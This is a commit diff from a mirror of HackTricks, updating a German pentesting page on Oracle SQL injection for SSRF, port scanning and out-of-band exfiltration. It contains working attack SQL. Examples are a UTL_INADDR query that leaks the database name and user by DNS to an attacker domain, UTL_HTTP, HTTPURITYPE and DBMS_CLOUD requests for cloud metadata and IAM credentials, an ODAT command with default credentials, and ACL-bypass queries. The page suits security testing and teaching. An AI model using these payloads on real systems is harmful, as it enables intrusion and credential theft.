mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/sql-injection/oracle-injection.md'] to d
This commit is contained in:
parent
29370be391
commit
b5c84aa5eb
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Serviere diesen Beitrag eine Wayback-Maschine-Kopie des gelöschten Beitrags von [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
|
||||
**Serviere diesen Beitrag eine Wayback-Machine-Kopie des gelöschten Beitrags von [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
|
||||
|
||||
## SSRF
|
||||
|
||||
Die Verwendung von Oracle für Out of Band HTTP- und DNS-Anfragen ist gut dokumentiert, aber als Mittel zur Exfiltration von SQL-Daten in Injektionen. Wir können diese Techniken/Funktionen immer anpassen, um andere SSRF/XSPA durchzuführen.
|
||||
|
||||
Die Installation von Oracle kann wirklich schmerzhaft sein, insbesondere wenn Sie eine schnelle Instanz einrichten möchten, um Befehle auszuprobieren. Mein Freund und Kollege bei [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), wies mich auf [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) hin, das es mir ermöglichte, eine Instanz auf einer t2.large AWS Ubuntu-Maschine und Docker einzurichten.
|
||||
Die Installation von Oracle kann wirklich schmerzhaft sein, insbesondere wenn man eine schnelle Instanz einrichten möchte, um Befehle auszuprobieren. Mein Freund und Kollege bei [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), wies mich auf [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) hin, das es mir ermöglichte, eine Instanz auf einer t2.large AWS Ubuntu-Maschine und Docker einzurichten.
|
||||
|
||||
Ich habe den Docker-Befehl mit dem `--network="host"`-Flag ausgeführt, damit ich Oracle als native Installation mit vollem Netzwerkzugriff nachahmen konnte, während dieses Blogbeitrags.
|
||||
Ich habe den Docker-Befehl mit dem `--network="host"`-Flag ausgeführt, damit ich Oracle als native Installation mit vollem Netzwerkzugriff nachahmen konnte, für den Verlauf dieses Blogbeitrags.
|
||||
```
|
||||
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
||||
```
|
||||
@ -20,7 +20,7 @@ Um Pakete und Funktionen zu finden, die eine Host- und Port-Spezifikation unters
|
||||
```
|
||||
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
|
||||
```
|
||||
Die Suche ergab die folgenden Ergebnisse (nicht alle können verwendet werden, um ausgehende Netzwerke durchzuführen)
|
||||
Die Suche ergab die folgenden Ergebnisse (nicht alle können für ausgehende Netzwerke verwendet werden)
|
||||
|
||||
- DBMS_NETWORK_ACL_ADMIN
|
||||
- UTL_SMTP
|
||||
@ -37,13 +37,13 @@ Die Suche ergab die folgenden Ergebnisse (nicht alle können verwendet werden, u
|
||||
- DBMS_STREAMS_ADM
|
||||
- UTL_HTTP
|
||||
|
||||
Diese grobe Suche überspringt offensichtlich Pakete wie `DBMS_LDAP` (das die Übergabe eines Hostnamens und einer Portnummer ermöglicht), da [die Dokumentationsseite](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) einfach auf einen [anderen Ort](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) verweist. Daher könnte es andere Oracle-Pakete geben, die missbraucht werden können, um ausgehende Anfragen zu stellen, die ich möglicherweise übersehen habe.
|
||||
Diese grobe Suche überspringt offensichtlich Pakete wie `DBMS_LDAP` (das die Übergabe eines Hostnamens und einer Portnummer ermöglicht), da die [Dokumentationsseite](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) einfach auf einen [anderen Ort](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) verweist. Daher könnte es andere Oracle-Pakete geben, die missbraucht werden können, um ausgehende Anfragen zu stellen, die ich möglicherweise übersehen habe.
|
||||
|
||||
In jedem Fall werfen wir einen Blick auf einige der Pakete, die wir entdeckt und oben aufgelistet haben.
|
||||
|
||||
**DBMS_LDAP.INIT**
|
||||
|
||||
Das `DBMS_LDAP`-Paket ermöglicht den Zugriff auf Daten von LDAP-Servern. Die `init()`-Funktion initialisiert eine Sitzung mit einem LDAP-Server und nimmt einen Hostnamen und eine Portnummer als Argument.
|
||||
Das `DBMS_LDAP`-Paket ermöglicht den Zugriff auf Daten von LDAP-Servern. Die `init()`-Funktion initialisiert eine Sitzung mit einem LDAP-Server und nimmt einen Hostnamen und eine Portnummer als Argument.
|
||||
|
||||
Diese Funktion wurde zuvor dokumentiert, um die Exfiltration von Daten über DNS zu zeigen, wie unten
|
||||
```
|
||||
@ -58,11 +58,11 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
|
||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
|
||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
||||
```
|
||||
Eine `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` zeigt, dass der Port geschlossen ist, während ein Sitzungswert darauf hinweist, dass der Port geöffnet ist.
|
||||
Ein `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` zeigt, dass der Port geschlossen ist, während ein Sitzungswert darauf hinweist, dass der Port offen ist.
|
||||
|
||||
**UTL_SMTP**
|
||||
|
||||
Das `UTL_SMTP`-Paket ist zum Senden von E-Mails über SMTP konzipiert. Das Beispiel auf der [Oracle-Dokumentationsseite zeigt, wie Sie dieses Paket verwenden können, um eine E-Mail zu senden](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Für uns ist jedoch das Interessante die Möglichkeit, eine Host- und Port-Spezifikation bereitzustellen.
|
||||
Das `UTL_SMTP`-Paket ist zum Versenden von E-Mails über SMTP konzipiert. Das Beispiel auf der [Oracle-Dokumentationsseite zeigt, wie Sie dieses Paket verwenden können, um eine E-Mail zu senden](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Für uns ist jedoch das Interessante die Möglichkeit, eine Host- und Port-Spezifikation bereitzustellen.
|
||||
|
||||
Ein einfaches Beispiel wird unten mit der Funktion `UTL_SMTP.OPEN_CONNECTION` gezeigt, mit einem Timeout von 2 Sekunden.
|
||||
```
|
||||
@ -124,15 +124,15 @@ END;
|
||||
utl_tcp.close_connection(c);
|
||||
END;
|
||||
```
|
||||
Interessanterweise kann dieses Paket aufgrund der Fähigkeit, rohe TCP-Anfragen zu erstellen, auch verwendet werden, um den Instanz-Metadatenservice aller Cloud-Anbieter abzufragen, da der Methodentyp und zusätzliche Header alle innerhalb der TCP-Anfrage übergeben werden können.
|
||||
Interessanterweise kann dieses Paket aufgrund der Möglichkeit, rohe TCP-Anfragen zu erstellen, auch verwendet werden, um den Instanz-Metadatenservice aller Cloud-Anbieter abzufragen, da der Methodentyp und zusätzliche Header alle innerhalb der TCP-Anfrage übergeben werden können.
|
||||
|
||||
**UTL_HTTP und Webanfragen**
|
||||
|
||||
Vielleicht die häufigste und am weitesten dokumentierte Technik in jedem Out of Band Oracle SQL Injection-Tutorial ist das [`UTL_HTTP`-Paket](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Dieses Paket wird in der Dokumentation definiert als - `Das UTL_HTTP-Paket führt Hypertext Transfer Protocol (HTTP)-Aufrufe aus SQL und PL/SQL durch. Sie können es verwenden, um über HTTP auf Daten im Internet zuzugreifen.`
|
||||
Vielleicht die häufigste und am weitesten dokumentierte Technik in jedem Out of Band Oracle SQL Injection Tutorial ist das [`UTL_HTTP`-Paket](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Dieses Paket wird in der Dokumentation definiert als - `Das UTL_HTTP-Paket führt Hypertext Transfer Protocol (HTTP)-Aufrufe aus SQL und PL/SQL durch. Sie können es verwenden, um über HTTP auf Daten im Internet zuzugreifen.`
|
||||
```
|
||||
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
||||
```
|
||||
Sie könnten dies zusätzlich verwenden, um einige rudimentäre Port-Scans mit Abfragen wie durchzuführen.
|
||||
Sie könnten dies zusätzlich verwenden, um auch einige rudimentäre Port-Scans mit Abfragen wie
|
||||
```
|
||||
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
|
||||
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
||||
@ -140,6 +140,89 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
||||
```
|
||||
Ein `ORA-12541: TNS:no listener` oder ein `TNS:operation timed out` ist ein Zeichen dafür, dass der TCP-Port geschlossen ist, während ein `ORA-29263: HTTP protocol error` oder Daten ein Zeichen dafür sind, dass der Port offen ist.
|
||||
|
||||
Ein weiteres Paket, das ich in der Vergangenheit mit unterschiedlichem Erfolg verwendet habe, ist die [`GETCLOB()`-Methode des `HTTPURITYPE` Oracle abstrakten Typs](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705), die es Ihnen ermöglicht, mit einer URL zu interagieren und Unterstützung für das HTTP-Protokoll bietet. Die `GETCLOB()`-Methode wird verwendet, um die GET-Antwort von einer URL als [CLOB-Datentyp.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
||||
Ein weiteres Paket, das ich in der Vergangenheit mit unterschiedlichem Erfolg verwendet habe, ist die [`GETCLOB()`-Methode des `HTTPURITYPE` Oracle abstrakten Typs](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705), die es Ihnen ermöglicht, mit einer URL zu interagieren und Unterstützung für das HTTP-Protokoll bietet. Die `GETCLOB()`-Methode wird verwendet, um die GET-Antwort von einer URL als [CLOB-Datentyp.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)
|
||||
```
|
||||
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
|
||||
```
|
||||
---
|
||||
|
||||
## Zusätzliche Pakete & Techniken (Oracle 19c → 23c)
|
||||
|
||||
### UTL_INADDR – DNS-basierte Exfiltration und Hostentdeckung
|
||||
|
||||
`UTL_INADDR` bietet einfache Namensauflösungshelfer, die eine ausgehende DNS-Abfrage vom Datenbankhost auslösen. Da nur eine Domain erforderlich ist (kein Port/ACL benötigt), ist es ein zuverlässiges Element für Blind-Exfiltration, wenn andere Netzwerkaufrufe blockiert sind.
|
||||
```sql
|
||||
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
|
||||
SELECT UTL_INADDR.get_host_address(
|
||||
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
|
||||
'.attacker.oob.server') FROM dual;
|
||||
```
|
||||
`get_host_address()` gibt die aufgelöste IP zurück (oder löst `ORA-29257` aus, wenn die Auflösung fehlschlägt). Der Angreifer muss nur die eingehende DNS-Anfrage auf der kontrollierten Domain beobachten, um die Codeausführung zu bestätigen.
|
||||
|
||||
### DBMS_CLOUD.SEND_REQUEST – vollständiger HTTP-Client auf Autonomous/23c
|
||||
|
||||
Neuere cloud-zentrierte Editionen (Autonomous Database, 21c/23c, 23ai) werden mit `DBMS_CLOUD` ausgeliefert. Die Funktion `SEND_REQUEST` fungiert als allgemeiner HTTP-Client, der benutzerdefinierte Verben, Header, TLS und große Datenmengen unterstützt, was sie weit leistungsfähiger macht als das klassische `UTL_HTTP`.
|
||||
```sql
|
||||
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
|
||||
BEGIN
|
||||
-- empty credential when no auth is required
|
||||
DBMS_CLOUD.create_credential(
|
||||
credential_name => 'NOAUTH',
|
||||
username => 'ignored',
|
||||
password => 'ignored');
|
||||
END;
|
||||
/
|
||||
|
||||
DECLARE
|
||||
resp DBMS_CLOUD_TYPES.resp;
|
||||
BEGIN
|
||||
resp := DBMS_CLOUD.send_request(
|
||||
credential_name => 'NOAUTH',
|
||||
uri => 'http://169.254.169.254/latest/meta-data/',
|
||||
method => 'GET',
|
||||
timeout => 3);
|
||||
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
|
||||
END;
|
||||
/
|
||||
```
|
||||
Weil `SEND_REQUEST` beliebige Ziel-URIs zulässt, kann es über SQLi missbraucht werden für:
|
||||
1. Internes Port-Scanning / SSRF zu Cloud-Metadaten-Diensten.
|
||||
2. Out-of-Band-Exfiltration über HTTPS (verwenden Sie Burp Collaborator oder ein `ngrok`-Tunnel).
|
||||
3. Rückrufe zu Angreifer-Servern, selbst wenn ältere Callout-Pakete durch ACLs deaktiviert sind.
|
||||
|
||||
ℹ️ Wenn Sie nur ein klassisches On-Prem 19c haben, aber Java gespeicherte Prozeduren erstellen können, können Sie manchmal `DBMS_CLOUD` aus dem OCI-Client-Bundle installieren — nützlich in einigen Engagements.
|
||||
|
||||
### Automatisierung der Angriffsfläche mit **ODAT**
|
||||
|
||||
[ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) hat mit modernen Versionen Schritt gehalten (getestet bis 19c, 5.1.1 – Apr-2022). Die Module `–utl_http`, `–utl_tcp`, `–httpuritype` und neuer `–dbms_cloud` erkennen automatisch:
|
||||
* Verwendbare Callout-Pakete/ACL-Berechtigungen.
|
||||
* Auslösen von DNS- & HTTP-Rückrufen für blinde Extraktion.
|
||||
* Generieren von sofort kopierbaren SQL-Payloads für Burp/SQLMap.
|
||||
|
||||
Beispiel: schneller OOB-Check mit Standardanmeldeinformationen (kümmert sich im Hintergrund um die ACL-Aufzählung):
|
||||
```bash
|
||||
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
|
||||
```
|
||||
### Aktuelle Netzwerk-ACL-Einschränkungen & Umgehungen
|
||||
|
||||
Oracle hat die standardmäßigen Netzwerk-ACLs im CPU vom Juli 2023 verschärft — unprivilegierte Konten erhalten jetzt standardmäßig `ORA-24247: network access denied by access control list`. Zwei Muster erlauben weiterhin Callouts über SQLi:
|
||||
1. Das Zielkonto besitzt einen ACL-Eintrag (`DBMS_NETWORK_ACL_ADMIN.create_acl`), der von einem Entwickler für Integrationen hinzugefügt wurde.
|
||||
2. Der Angreifer missbraucht eine hochprivilegierte PL/SQL-Routine mit Definer-Rechten (z. B. in einer benutzerdefinierten Anwendung), die *bereits* `AUTHID DEFINER` und die erforderlichen Berechtigungen hat.
|
||||
|
||||
Wenn Sie während der Ausnutzung auf `ORA-24247` stoßen, suchen Sie immer nach wiederverwendbaren Prozeduren:
|
||||
```sql
|
||||
SELECT owner, object_name
|
||||
FROM dba_objects
|
||||
WHERE object_type = 'PROCEDURE'
|
||||
AND authid = 'DEFINER';
|
||||
```
|
||||
(in vielen Audits hatte mindestens ein Reporting-/Exportverfahren die benötigten Rechte).
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
* Oracle Docs – `DBMS_CLOUD.SEND_REQUEST` Paketbeschreibung und Beispiele.
|
||||
* quentinhardy/odat – Oracle Database Attacking Tool (neueste Version 5.1.1, Apr-2022).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user